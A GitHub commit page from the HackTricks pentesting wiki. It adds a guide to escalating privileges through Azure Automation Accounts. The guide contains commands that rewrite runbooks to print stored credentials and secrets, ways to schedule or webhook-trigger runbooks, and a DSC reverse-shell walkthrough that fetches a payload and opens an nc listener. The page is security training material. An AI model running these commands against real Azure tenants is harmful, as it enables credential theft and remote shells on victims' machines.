Skip to content

Commit 7f51360

Browse files
authored
Merge branch 'HackTricks-wiki:master' into master
2 parents 1e5b132 + 9c3a698 commit 7f51360

File tree

7 files changed

+561
-258
lines changed

7 files changed

+561
-258
lines changed

src/SUMMARY.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -406,8 +406,7 @@
406406
- [Az - ACR](pentesting-cloud/azure-security/az-services/az-acr.md)
407407
- [Az - Application Proxy](pentesting-cloud/azure-security/az-services/az-application-proxy.md)
408408
- [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md)
409-
- [Az - Automation Account](pentesting-cloud/azure-security/az-services/az-automation-account/README.md)
410-
- [Az - State Configuration RCE](pentesting-cloud/azure-security/az-services/az-automation-account/az-state-configuration-rce.md)
409+
- [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md)
411410
- [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md)
412411
- [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md)
413412
- [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md)
@@ -460,6 +459,7 @@
460459
- [Az - Privilege Escalation](pentesting-cloud/azure-security/az-privilege-escalation/README.md)
461460
- [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md)
462461
- [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md)
462+
- [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md)
463463
- [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md)
464464
- [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md)
465465
- [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md)

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md

Lines changed: 3 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -90,7 +90,7 @@ aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name
9090

9191
If the **instance profile has a role** and the attacker **cannot remove it**, there is another workaround. He could **find** an **instance profile without a role** or **create a new one** (`iam:CreateInstanceProfile`), **add** the **role** to that **instance profile** (as previously discussed), and **associate the instance profile** compromised to a compromised i**nstance:**
9292

93-
- If the instance **doesn't have any instance** profile (`ec2:AssociateIamInstanceProfile`) \*
93+
- If the instance **doesn't have any instance** profile (`ec2:AssociateIamInstanceProfile`)
9494

9595
```bash
9696
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
@@ -102,21 +102,19 @@ aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --ins
102102

103103
With these permissions it's possible to change the instance profile associated to an instance so if the attack had already access to an instance he will be able to steal credentials for more instance profile roles changing the one associated with it.
104104

105-
- If it **has an instance profile**, you can **remove** the instance profile (`ec2:DisassociateIamInstanceProfile`) and **associate** it \*
105+
- If it **has an instance profile**, you can **remove** the instance profile (`ec2:DisassociateIamInstanceProfile`) and **associate** it
106106

107107
```bash
108108
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
109109
aws ec2 disassociate-iam-instance-profile --association-id <value>
110110
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
111111
```
112112

113-
- or **replace** the **instance profile** of the compromised instance (`ec2:ReplaceIamInstanceProfileAssociation`). \*
113+
- or **replace** the **instance profile** of the compromised instance (`ec2:ReplaceIamInstanceProfileAssociation`).
114114

115-
````
116115
```bash
117116
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
118117
```
119-
````
120118

121119
**Potential Impact:** Direct privesc to a different EC2 role (you need to have compromised a AWS EC2 instance and some extra permission or specific instance profile status).
122120

Lines changed: 304 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,304 @@
1+
# Az - Azure Automation Accounts Privesc
2+
3+
{{#include ../../../banners/hacktricks-training.md}}
4+
5+
## Azure Automation Accounts
6+
7+
Fore more information check:
8+
9+
{{#ref}}
10+
../az-services/az-automation-accounts.md
11+
{{#endref}}
12+
13+
### Hybrid Workers
14+
15+
Remember that if somehow an attacker can execute an arbitrary runbook (arbitrary code) in a hybrid worker, he will **pivot to the location of the VM**. This could be an on-premise machine, a VPC of a different cloud or even an Azure VM.
16+
17+
Moreover, if the hybrid worker is running in Azure with other Managed Identities attached, the runbook will be able to access the **managed identity of the runbook and all the managed identities of the VM from the metadata service**.
18+
19+
> [!TIP]
20+
> Remember that the **metadata service** has a different URL (**`http://169.254.169.254`**) than the service from where get the managed identities token of the automation account (**`IDENTITY_ENDPOINT`**).
21+
22+
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
23+
24+
As summary these permissions allow to **create, modify and run Runbooks** in the Automation Account which you could use to **execute code** in the context of the Automation Account and escalate privileges to the assigned **Managed Identities** and leak **credentials** and **encrypted variables** stored in the Automation Account.
25+
26+
The permission **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** allows to modify the code of a Runbook in the Automation Account using:
27+
28+
```bash
29+
# Update the runbook content with the provided PowerShell script
30+
az automation runbook replace-content --no-wait \
31+
--resource-group Resource_Group_1 \
32+
--automation-account-name autoaccount1 \
33+
--name AzureAutomationTutorialWithIdentity \
34+
--content '$creds = Get-AutomationPSCredential -Name "<credential-name>"
35+
$runbook_variable = Get-AutomationVariable -Name "<encrypted-variable-name>"
36+
$runbook_variable
37+
$creds.GetNetworkCredential().username
38+
$creds.GetNetworkCredential().password'
39+
```
40+
41+
Note how the previous script can be used to **leak the useranmd and password** of a credential and the value of an **encrypted variable** stored in the Automation Account.
42+
43+
The permission **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** allows the user to publish a Runbook in the Automation Account using so the changes are applied:
44+
45+
```bash
46+
az automation runbook publish \
47+
--resource-group <res-group> \
48+
--automation-account-name <account-name> \
49+
--name <runbook-name>
50+
```
51+
52+
The permission **`Microsoft.Automation/automationAccounts/jobs/write`** allows the user to run a Runbook in the Automation Account using:
53+
54+
```bash
55+
az automation runbook start \
56+
--automation-account-name <account-name> \
57+
--resource-group <res-group> \
58+
--name <runbook-name> \
59+
[--run-on <name-hybrid-group>]
60+
```
61+
62+
The permission **`Microsoft.Automation/automationAccounts/jobs/output/read`** allows the user to read the output of a job in the Automation Account using:
63+
64+
```bash
65+
az rest --method GET \
66+
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
67+
```
68+
69+
If there aren't Runbooks created, or ou want to create a new one, you will need the **permissions `Microsoft.Resources/subscriptions/resourcegroups/read` and `Microsoft.Automation/automationAccounts/runbooks/write`** to do it using:
70+
71+
```bash
72+
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
73+
```
74+
75+
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
76+
77+
This permission allows the user to **assign a user managed identity** to the Automation Account using:
78+
79+
```bash
80+
az rest --method PATCH \
81+
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
82+
--headers "Content-Type=application/json" \
83+
--body '{
84+
"identity": {
85+
"type": "UserAssigned",
86+
"userAssignedIdentities": {
87+
"/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-managed-identity-name>": {}
88+
}
89+
}
90+
}'
91+
```
92+
93+
### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write`
94+
95+
With the permission **`Microsoft.Automation/automationAccounts/schedules/write`** it's possible to create a new Schedule in the Automation Account that is executed every 15 minutes (not very stealth) using the following command.
96+
97+
Note that the **minimum interval for a schedule is 15 minutes**, and the **minimum start time is 5 minutes** in the future.
98+
99+
```bash
100+
## For linux
101+
az automation schedule create \
102+
--resource-group <RESOURCE_GROUP> \
103+
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
104+
--name <SCHEDULE_NAME> \
105+
--description "Triggers runbook every minute" \
106+
--start-time "$(date -u -d "7 minutes" +%Y-%m-%dT%H:%M:%SZ)" \
107+
--frequency Minute \
108+
--interval 15
109+
110+
## Form macOS
111+
az automation schedule create \
112+
--resource-group <RESOURCE_GROUP> \
113+
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
114+
--name <SCHEDULE_NAME> \
115+
--description "Triggers runbook every 15 minutes" \
116+
--start-time "$(date -u -v+7M +%Y-%m-%dT%H:%M:%SZ)" \
117+
--frequency Minute \
118+
--interval 15
119+
```
120+
121+
Then, with the permission **`Microsoft.Automation/automationAccounts/jobSchedules/write`** it's possible to assign a Scheduler to a runbook using:
122+
123+
```bash
124+
az rest --method PUT \
125+
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
126+
--headers "Content-Type=application/json" \
127+
--body '{
128+
"properties": {
129+
"runOn": "",
130+
"runbook": {
131+
"name": "<runbook-name>"
132+
},
133+
"schedule": {
134+
"name": "<scheduler-name>>"
135+
},
136+
"parameters": {}
137+
}
138+
}'
139+
```
140+
141+
> [!TIP]
142+
> In the previous example the jobchedule id was left as **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` as exmple** but you will need to use an arbitrary value to create this assignemnt.
143+
144+
### `Microsoft.Automation/automationAccounts/webhooks/write`
145+
146+
With the permission **`Microsoft.Automation/automationAccounts/webhooks/write`** it's possible to create a new Webhook for a Runbook inside an Automation Account using the following command.
147+
148+
Note that you will need to **indicate webhook URI** with the token to use.
149+
150+
```bash
151+
az rest --method PUT \
152+
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automantion-account-name>/webhooks/<webhook-name>?api-version=2018-06-30" \
153+
--body '{
154+
"name": "<webhook-name>",
155+
"properties": {
156+
"isEnabled": true,
157+
"expiryTime": "2026-01-09T20:03:30.291Z",
158+
"parameters": {},
159+
"runOn": null,
160+
"runbook": {
161+
"name": "<runbook-name>"
162+
},
163+
"uri": "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d"
164+
}
165+
}'
166+
167+
# Then, to call the runbook using the webhook
168+
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
169+
-H "Content-Length: 0"
170+
```
171+
172+
173+
### `Microsoft.Automation/automationAccounts/runbooks/draft/write`
174+
175+
Just with the permission `Microsoft.Automation/automationAccounts/runbooks/draft/write` it's possible to **update the code of a Runbook** without publishing it and run it using the following commands.
176+
177+
```bash
178+
# Update the runbook content with the provided PowerShell script
179+
az automation runbook replace-content --no-wait \
180+
--resource-group Resource_Group_1 \
181+
--automation-account-name autoaccount1 \
182+
--name AzureAutomationTutorialWithIdentity \
183+
--content 'echo "Hello World"'
184+
185+
# Run the unpublished code
186+
## Indicate the name of the hybrid worker group in runOn to execute the runbook there
187+
az rest \
188+
--method PUT \
189+
--url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \
190+
--headers "Content-Type=application/json" \
191+
--body '{
192+
"parameters": {},
193+
"runOn": "",
194+
"runtimeEnvironment": "PowerShell-5.1"
195+
}'
196+
197+
# Get the output (a different permission is needed here, but you could get a revershell or exfiltrate the token to avoid needing this permission)
198+
az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob/streams?api-version=2019-06-01"
199+
```
200+
201+
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
202+
203+
This permission allows the user to **configure a source control** for the Automation Account using a commands such as the following (this uses Github as example):
204+
205+
```bash
206+
az automation source-control create \
207+
--resource-group <res-group> \
208+
--automation-account-name <automation-account-name> \
209+
--name RemoteGithub \
210+
--repo-url https://github.com/carlospolop/gh-runbooks.git \
211+
--branch main \
212+
--folder-path /runbooks/ \
213+
--publish-runbook true \
214+
--auto-sync \
215+
--source-type GitHub \
216+
--token-type PersonalAccessToken \
217+
--access-token github_pat_11AEDCVZ<rest-of-the-token>
218+
```
219+
220+
This will automatically import the runbooks from the Github repository to the Automation Account and with some other permission to start running them it would be **possible to escalate privileges**.
221+
222+
Moreover, remember that for source control to work in Automation Accounts it must have a managed identity with the role **`Contributor`** and if it's a user managed identity the cleint id of the MI must be specified in the variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
223+
224+
> [!TIP]
225+
> Note that it's not possible to change the repo URL of a source control once it's created.
226+
227+
### `Microsoft.Automation/automationAccounts/variables/write`
228+
229+
With the permission **`Microsoft.Automation/automationAccounts/variables/write`** it's possible to write variables in the Automation Account using the following command.
230+
231+
```bash
232+
az rest --method PUT \
233+
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
234+
--headers "Content-Type=application/json" \
235+
--body '{
236+
"name": "<variable-name>",
237+
"properties": {
238+
"description": "",
239+
"value": "\"<variable-value>\"",
240+
"isEncrypted": false
241+
}
242+
}'
243+
```
244+
245+
### Custom Runtime Environments
246+
247+
If an automation account is using a custom runtime environment, it could be possible to overwrite a custom package of the runtime with some malicious code (like **a backdoor**). This way, whenever a runbook using that custon runtime is executed and load the custom package, the malicious code will be executed.
248+
249+
### Compromising State Configuration
250+
251+
**Check the complete post in:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
252+
253+
- Step 1 — Create Files
254+
255+
**Files Required:** Two PowerShell scripts are needed:
256+
1. `reverse_shell_config.ps1`: A Desired State Configuration (DSC) file that fetches and executes the payload. It is obtainable from [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
257+
2. `push_reverse_shell_config.ps1`: A script to publish the configuration to the VM, available at [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
258+
259+
**Customization:** Variables and parameters in these files must be tailored to the user's specific environment, including resource names, file paths, and server/payload identifiers.
260+
261+
- Step 2 — Zip Configuration File
262+
263+
The `reverse_shell_config.ps1` is compressed into a `.zip` file, making it ready for transfer to the Azure Storage Account.
264+
265+
```powershell
266+
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
267+
```
268+
269+
- Step 3 — Set Storage Context & Upload
270+
271+
The zipped configuration file is uploaded to a predefined Azure Storage container, azure-pentest, using Azure's Set-AzStorageBlobContent cmdlet.
272+
273+
```powershell
274+
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
275+
```
276+
277+
- Step 4 — Prep Kali Box
278+
279+
The Kali server downloads the RevPS.ps1 payload from a GitHub repository.
280+
281+
```bash
282+
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
283+
```
284+
285+
The script is edited to specify the target Windows VM and port for the reverse shell.
286+
287+
- Step 5 — Publish Configuration File
288+
289+
The configuration file is executed, resulting in the reverse-shell script being deployed to the specified location on the Windows VM.
290+
291+
- Step 6 — Host Payload and Setup Listener
292+
293+
A Python SimpleHTTPServer is started to host the payload, along with a Netcat listener to capture incoming connections.
294+
295+
```bash
296+
sudo python -m SimpleHTTPServer 80
297+
sudo nc -nlvp 443
298+
```
299+
300+
The scheduled task executes the payload, achieving SYSTEM-level privileges.
301+
302+
{{#include ../../../banners/hacktricks-training.md}}
303+
304+

0 commit comments

Comments
 (0)